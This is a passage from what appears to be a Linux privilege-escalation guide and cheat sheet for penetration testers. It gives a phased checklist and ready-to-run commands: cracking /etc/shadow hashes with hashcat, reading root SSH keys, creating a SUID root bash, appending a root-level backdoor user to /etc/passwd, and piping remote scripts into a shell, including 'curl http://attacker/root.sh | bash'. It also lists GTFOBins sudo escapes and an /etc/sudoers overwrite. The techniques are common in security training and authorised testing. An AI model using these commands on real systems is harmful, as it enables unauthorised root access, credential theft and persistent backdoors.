cat /etc/shadow | grep root
hashcat -m 1800 shadow.hash rockyou.txt # SHA-512
hashcat -m 500 shadow.hash rockyou.txt # MD5
# Readable /root directory or files
[ENUM] ls -la /root/
[ENUM] ls -la /root/.ssh/
[ENUM] cat /root/.ssh/id_rsa # copy key, ssh as root
# Readable backup files
[ENUM] find / -name "*.bak" -o -name "*.backup" -o -name "*~" 2>/dev/null
[ENUM] find / -name "shadow.bak" -o -name "passwd.bak" 2>/dev/null
# Sticky bit missing on /tmp (rare now but check)
[ENUM] ls -la / | grep tmp
# World-readable private keys
[ENUM] find / -name "id_rsa" -perm -o+r 2>/dev/null
[ENUM] find / -name "*.pem" -perm -o+r 2>/dev/null
# Check /etc/passwd for password hashes (if shadowing not used)
[ENUM] grep -v "x" /etc/passwd # entries without 'x' have hash in passwd
19. Complete PrivEsc Checklist
PHASE 1 — AUTOMATED (Do First): ☐ Run LinPEAS and save output ☐ Run pspy64 for 3-5 mins (catch cron jobs) ☐ Run linux-exploit-suggester for kernel CVEs
PHASE 2 — QUICK WINS (Check in Order): ☐ sudo -l → check for NOPASSWD entries → GTFOBins ☐ find / -perm -4000 2>/dev/null → check SUID → GTFOBins ☐ id → check groups (docker, lxd, disk, adm) ☐ cat /etc/crontab && ls /etc/cron* → writable scripts? ☐ getcap -r / 2>/dev/null → check capabilities
PHASE 3 — CREDENTIALS: ☐ cat ~/.bash_history → look for passwords ☐ cat /etc/mysql/debian.cnf → MySQL root password ☐ find /var/www -name ".php" → web app credentials ☐ find / -name ".env" 2>/dev/null → env credential files ☐ cat /home//.ssh/id_rsa → SSH keys
PHASE 4 — DEEPER CHECKS: ☐ find / -writable -type f 2>/dev/null → writable critical files ☐ ls -la /etc/passwd /etc/shadow /etc/sudoers → weak perms ☐ showmount -e localhost → NFS shares ☐ ls -la /var/www / /opt /srv → interesting directories ☐ ps aux | grep root → services running as root + versions
PHASE 5 — KERNEL EXPLOITS (Last Resort): ☐ uname -r → check against known CVEs ☐ DirtyCow (< 4.8.3), DirtyPipe (5.8 - 5.16.11) ☐ PwnKit (pkexec < 0.105) ☐ Baron Samedit (sudo < 1.9.5p2)
20. Cheat Sheet
One-Liner Reference
# Full enum run
id; whoami; uname -a; cat /etc/os-release; sudo -l; find / -perm -4000 2>/dev/null; getcap -r / 2>/dev/null
# SUID find
find / -perm -u=s -type f 2>/dev/null
# Writable files
find / -writable -type f 2>/dev/null | grep -v proc
# Writable dirs
find / -perm -o+w -type d 2>/dev/null | grep -v proc
# SUID bash shell
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p
# Add root user to /etc/passwd
echo 'hacker:$1$hack$TnyXXuMcJbFJLMZKQn4sF0:0:0:hacker:/root:/bin/bash' >> /etc/passwd && su hacker
# LD_PRELOAD compile
gcc -fPIC -shared -nostartfiles -o /tmp/pre.so /tmp/pre.c
# DirtyPipe quick check
uname -r | grep -E "5\.(8|9|10|11|12|13|14|15|16)"
# pspy quick launch
chmod +x pspy64 && ./pspy64 -pf -i 1000 2>/dev/null | grep "UID=0"
# Transfer linpeas
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
GTFOBins Quick Reference
sudo vim → vim -c ':!bash'
sudo find → find . -exec /bin/bash ; -quit
sudo python → python -c 'import os; os.system("/bin/bash")'
sudo awk → awk 'BEGIN {system("/bin/bash")}'
sudo less → !/bin/bash
sudo man → !/bin/bash
sudo tar → tar -cf /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip → zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
sudo perl → perl -e 'exec "/bin/bash";'
sudo ruby → ruby -e 'exec "/bin/bash"'
sudo php → php -r "system('/bin/bash');"
sudo curl → curl http://attacker/root.sh | bash
sudo tee → echo "hacker ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers
sudo nano → ^R^X then: bash